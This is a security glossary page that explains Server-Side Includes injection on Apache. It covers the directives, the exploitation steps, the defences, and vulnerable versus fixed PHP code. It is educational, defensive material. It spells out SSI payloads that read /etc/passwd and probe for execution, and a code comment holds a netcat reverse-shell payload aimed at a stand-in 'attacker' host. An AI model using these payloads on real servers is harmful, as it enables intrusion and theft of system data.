← CodeClarityLab Home
Browse by Category
+ added · updated 7d
← Back to glossary

Server-Side Includes (SSI) Injection

security CWE-97 OWASP A3:2021 CVSS 9.8 Intermediate

Also Known As

SSI injection Apache SSI injection shtml injection exec cmd injection

TL;DR

Attacker-controlled SSI directives (`<!--#exec ... -->`) injected into pages parsed by Apache or another SSI-enabled server, achieving file disclosure or remote command execution.

Explanation

Server-Side Includes are an old templating mechanism, still enabled on many Apache deployments via the `Includes` option and `.shtml` files (or `AddType text/html .html` style configurations that route HTML through the SSI parser). Directives include `<!--#include virtual="..." -->` (file inclusion), `<!--#exec cmd="..." -->` (shell command execution, RCE-class), `<!--#exec cgi="..." -->` (CGI execution), `<!--#config ... -->` and `<!--#echo var="..." -->` (variable disclosure including environment variables). SSI injection happens when an application stores or reflects user input into a page parsed for SSI directives — a guest book, a comment system, a profile page — and the server executes the embedded directives at render time. Many engineers assume SSI is dead; in practice, legacy hosting setups, default Apache configurations on shared hosting, and overlooked `.htaccess` directives keep it alive. Defences: disable SSI globally unless required (`Options -Includes` and `Options -IncludesNOEXEC`), HTML-encode user input even in static-feeling pages, restrict SSI parsing to specific extensions and directories, and use `IncludesNOEXEC` to disable the dangerous `#exec` directive while keeping benign includes if they're truly needed.

How It's Exploited

Comment field accepts `<!--#exec cmd="cat /etc/passwd" -->`. Page is served as `.shtml` (or as `.html` with SSI filter enabled). Apache's mod_include sees the directive, runs `cat /etc/passwd`, embeds the output. Victims viewing the comment see /etc/passwd contents, but more importantly the attacker confirmed RCE — next payload is a reverse shell.

Watch Out

On shared Apache hosting, SSI is sometimes enabled for the entire vhost via the provider's defaults. Audit your `.htaccess` chain (including parent directories) before assuming SSI is off.

Common Misconception

SSI is obsolete and not enabled on modern servers. Many shared hosting providers still enable it by default, and `.htaccess` overrides routinely turn it on for specific directories. An application can be vulnerable for years without anyone realising the pages flow through the SSI parser.

Why It Matters

On a vulnerable host, SSI injection is RCE — directly equivalent to running shell commands as the web server user. Discovery is trivial (submit `<!--#exec cmd="id" -->` into any reflected field), exploitation is immediate, and a successful exec gives the attacker file system access, credentials in environment variables, and a launch pad for lateral movement.

Common Mistakes

  • Enabling `Options +Includes` for a directory and forgetting it years later — SSI parses every page in that tree.
  • HTML-encoding user input only in `<script>` and attribute contexts, leaving comments and text content vulnerable to `<!--#exec ... -->`.
  • Trusting that `.html` files don't parse SSI — they do if `AddType text/html .html` and `AddOutputFilter INCLUDES .html` are set.
  • Using `IncludesNOEXEC` and assuming all SSI risk is gone — `#include virtual` still allows file disclosure of CGI-executable paths.
  • Filtering only `<script>` and `<iframe>` while letting `<!-- -->` comments through to the SSI parser.

Avoid When

  • Modern Nginx / FPM-only stacks with no SSI filter — surface area is zero.

When To Use

  • Auditing Apache deployments that serve `.shtml` files or have `AddOutputFilter INCLUDES` configured.
  • Reviewing legacy applications hosted on shared hosting where SSI defaults are unclear.
  • Penetration testing — submit `<!--#echo var="DATE_LOCAL" -->` in reflected fields as a quick probe.

Code Examples

💡 Note
SSI is one of the few injection classes where a server-config fix completely neutralises the vulnerability without touching application code — disable it everywhere it's not actively needed.
✗ Vulnerable
// ❌ User input echoed into a page Apache parses for SSI directives
// File: /var/www/comments.shtml
// .htaccess: Options +Includes
// AddOutputFilter INCLUDES .shtml

<?php
foreach ($comments as $comment) {
    echo "<div class='comment'>";
    echo $comment['body']; // ⚠ Unencoded — SSI directives survive
    echo "</div>";
}
// A comment of <!--#exec cmd="nc attacker 4444 -e /bin/sh" -->
// becomes a reverse shell when Apache's SSI filter parses the response.
✓ Fixed
// ✅ HTML-encode every user value AND disable SSI on directories that don't need it

// .htaccess (or vhost):
//   Options -Includes -IncludesNOEXEC
//   RemoveOutputFilter INCLUDES .html .shtml

<?php
foreach ($comments as $comment) {
    echo "<div class='comment'>";
    echo htmlspecialchars($comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
    echo "</div>";
}

// Defence in depth:
// 1. htmlspecialchars converts < > & " ' so SSI delimiters cannot survive output.
// 2. SSI is disabled at the server level so even if encoding fails, no directives execute.
// 3. The .shtml extension is blocked entirely on directories serving user-influenced pages.

Added 28 Apr 2026
Views 9
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 3 pings T 0 pings W 0 pings T 0 pings F 1 ping S 2 pings S 0 pings M 0 pings T 0 pings W 0 pings T
No pings yet today
No pings yesterday
ChatGPT 2 Perplexity 2 Google 1 SEMrush 1
crawler 5 crawler_json 1
DEV INTEL Tools & Severity
🔴 Critical ⚙ Fix effort: Low
⚡ Quick Fix
Set `Options -Includes -IncludesNOEXEC` on every directory unless SSI is explicitly required, and `htmlspecialchars()` every reflected user value. Verify with `<!--#echo var="DATE_LOCAL" -->` in a test field — if the date renders, SSI is live.
📦 Applies To
web apache
🔗 Prerequisites
🔍 Detection Hints
Apache config with `Options +Includes` or `AddOutputFilter INCLUDES`; PHP code that echoes user input without htmlspecialchars on pages served through the SSI filter
Auto-detectable: ✓ Yes semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: Low ✗ Manual fix Fix: Low Context: File
CWE-97 CWE-78

✓ schema.org compliant